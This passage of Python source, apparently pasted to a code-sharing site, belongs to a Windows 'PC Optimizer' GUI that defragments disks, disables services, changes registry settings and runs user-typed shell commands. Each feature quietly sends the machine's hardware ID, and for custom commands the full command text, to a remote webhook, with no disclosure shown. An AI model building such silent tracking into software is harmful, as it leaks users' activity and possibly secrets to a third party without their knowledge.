  1147.         except Exception as e:
  1148.             self.handle_error("Failed to load disks", e)
  1149.     def defragment_disk(self):
  1150.         selection = self.disk_listbox.curselection()
  1151.         if not selection:
  1152.             self.status_var.set("No drive selected")
  1153.             self.show_notification("No drive selected", success=False)
  1154.             return
  1155.         drive = self.disk_listbox.get(selection[0]).split()[0]
  1156.         self.send_webhook(WEBHOOK_FEATURE, "Optimize Disk Tab: Defragmented Disk", f"Drive: {drive}\nHWID: {self.hwid}", 0x3498db)
  1157.         def do_defrag():
  1158.             try:
  1159.                 result = subprocess.run(["defrag", drive, "/O", "/V"], capture_output=True, text=True, check=True)
  1160.                 self.root.after(0, lambda: self.status_var.set("Disk defragmented"))
  1161.                 self.root.after(0, lambda: self.show_notification(f"Defragmented {drive}: {result.stdout[:100]}...", success=True))
  1162.                 self.root.after(0, lambda: self.disk_result.insert(tk.END, f"Defragmented {drive}\nOutput: {result.stdout}\nCompleted at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n"))
  1163.             except Exception as e:
  1164.                 self.root.after(0, lambda: self.handle_error("Failed to defragment disk", e))
  1165.         threading.Thread(target=do_defrag, daemon=True).start()
  1166.         self.status_var.set("Defragmenting disk...")
  1167.     def load_services(self):
  1168.         try:
  1169.             self.services_listbox.delete(0, tk.END)
  1170.             non_essential_services = ["XblAuthManager", "XblGameSave", "WSearch", "SysMain"]
  1171.             for service in self.c.Win32_Service():
  1172.                 if service.State == "Running" and service.Name in non_essential_services:
  1173.                     self.services_listbox.insert(tk.END, f"{service.Name}: {service.DisplayName}")
  1174.             self.show_notification("Services loaded", success=True)
  1175.         except Exception as e:
  1176.             self.handle_error("Failed to load services", e)
  1177.     def disable_service(self):
  1178.         selection = self.services_listbox.curselection()
  1179.         if not selection:
  1180.             self.status_var.set("No service selected")
  1181.             self.show_notification("No service selected", success=False)
  1182.             return
  1183.         service_name = self.services_listbox.get(selection[0]).split(":")[0].strip()
  1184.         self.send_webhook(WEBHOOK_FEATURE, "Services Tab: Disabled Service", f"Service: {service_name}\nHWID: {self.hwid}", 0x3498db)
  1185.         def do_disable():
  1186.             try:
  1187.                 subprocess.run(["sc", "config", service_name, "start=disabled"], check=True)
  1188.                 subprocess.run(["net", "stop", service_name], capture_output=True, text=True)
  1189.                 self.root.after(0, self.load_services)
  1190.                 self.root.after(0, lambda: self.status_var.set("Service disabled"))
  1191.                 self.root.after(0, lambda: self.show_notification(f"Disabled service: {service_name}", success=True))
  1192.                 self.root.after(0, lambda: self.services_result.insert(tk.END, f"Disabled {service_name}\nCompleted at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n"))
  1193.             except Exception as e:
  1194.                 self.root.after(0, lambda: self.handle_error("Failed to disable service", e))
  1195.         threading.Thread(target=do_disable, daemon=True).start()
  1196.         self.status_var.set("Disabling service...")
  1197.     def disable_background_apps(self):
  1198.         self.send_webhook(WEBHOOK_FEATURE, "Settings Tab: Disabled Background Apps", f"HWID: {self.hwid}", 0x3498db)
  1199.         def do_disable():
  1200.             try:
  1201.                 key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications", 0, winreg.KEY_WRITE)
  1202.                 winreg.SetValueEx(key, "GlobalUserDisabled", 0, winreg.REG_DWORD, 1)
  1203.                 winreg.CloseKey(key)
  1204.                 self.root.after(0, lambda: self.status_var.set("Background apps disabled"))
  1205.                 self.root.after(0, lambda: self.show_notification("Background apps disabled", success=True))
  1206.             except Exception as e:
  1207.                 self.root.after(0, lambda: self.handle_error("Failed to disable background apps", e))
  1208.         threading.Thread(target=do_disable, daemon=True).start()
  1209.         self.status_var.set("Disabling background apps...")
  1210.     def optimize_visual_effects(self):
  1211.         self.send_webhook(WEBHOOK_FEATURE, "Settings Tab: Optimized Visual Effects", f"HWID: {self.hwid}", 0x3498db)
  1212.         def do_optimize():
  1213.             try:
  1214.                 key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Explorer\VisualEffects", 0, winreg.KEY_WRITE)
  1215.                 winreg.SetValueEx(key, "VisualFXSetting", 0, winreg.REG_DWORD, 2)
  1216.                 winreg.CloseKey(key)
  1217.                 subprocess.run(["systemsettings", "display advancedgraphics"], capture_output=True, text=True)
  1218.                 self.root.after(0, lambda: self.status_var.set("Visual effects optimized"))
  1219.                 self.root.after(0, lambda: self.show_notification("Visual effects optimized for performance", success=True))
  1220.             except Exception as e:
  1221.                 self.root.after(0, lambda: self.handle_error("Failed to optimize visual effects", e))
  1222.         threading.Thread(target=do_optimize, daemon=True).start()
  1223.         self.status_var.set("Optimizing visual effects...")
  1224.     def reduce_startup_delay(self):
  1225.         self.send_webhook(WEBHOOK_FEATURE, "Settings Tab: Reduced Startup Delay", f"HWID: {self.hwid}", 0x3498db)
  1226.         def do_reduce():
  1227.             try:
  1228.                 key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Explorer", 0, winreg.KEY_WRITE)
  1229.                 winreg.SetValueEx(key, "StartupDelayInMSec", 0, winreg.REG_DWORD, 0)
  1230.                 winreg.CloseKey(key)
  1231.                 self.root.after(0, lambda: self.status_var.set("Startup delay reduced"))
  1232.                 self.root.after(0, lambda: self.show_notification("Startup delay reduced", success=True))
  1233.             except Exception as e:
  1234.                 self.root.after(0, lambda: self.handle_error("Failed to reduce startup delay", e))
  1235.         threading.Thread(target=do_reduce, daemon=True).start()
  1236.         self.status_var.set("Reducing startup delay...")
  1237.     def run_command(self):
  1238.         try:
  1239.             command = self.command_entry.get().strip()
  1240.             if not command:
  1241.                 self.status_var.set("No command entered")
  1242.                 self.show_notification("No command entered", success=False)
  1243.                 return
  1244.             self.send_webhook(WEBHOOK_FEATURE, "Custom Commands Tab: Ran Command", f"Command: {command}\nHWID: {self.hwid}", 0x3498db)
  1245.             def do_run():
  1246.                 try:
  1247.                     result = subprocess.run(command, shell=True, capture_output=True, text=True, check=True)
  1248.                     output = result.stdout + result.stderr or "Command executed successfully"
  1249.                     self.root.after(0, lambda: self.command_output.delete("0.0", tk.END))
  1250.                     self.root.after(0, lambda: self.command_output.insert("0.0", f"Command: {command}\nOutput:\n{output}\nCompleted at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}"))
  1251.                     self.root.after(0, lambda: self.status_var.set("Command executed"))
  1252.                     self.root.after(0, lambda: self.show_notification("Command executed successfully", success=True))
  1253.                 except Exception as e:
  1254.                     self.root.after(0, lambda: self.handle_error("Command failed", e))
  1255.             threading.Thread(target=do_run, daemon=True).start()
  1256.             self.status_var.set("Running command...")
  1257.         except Exception as e:
  1258.             self.handle_error("Run command error", e)
  1259. if __name__ == "__main__":
  1260.     root = ctk.CTk()
  1261.     app = PCOptimizer(root)
  1262.     root.mainloop()
Advertisement
Add Comment
Please, Sign In to add comment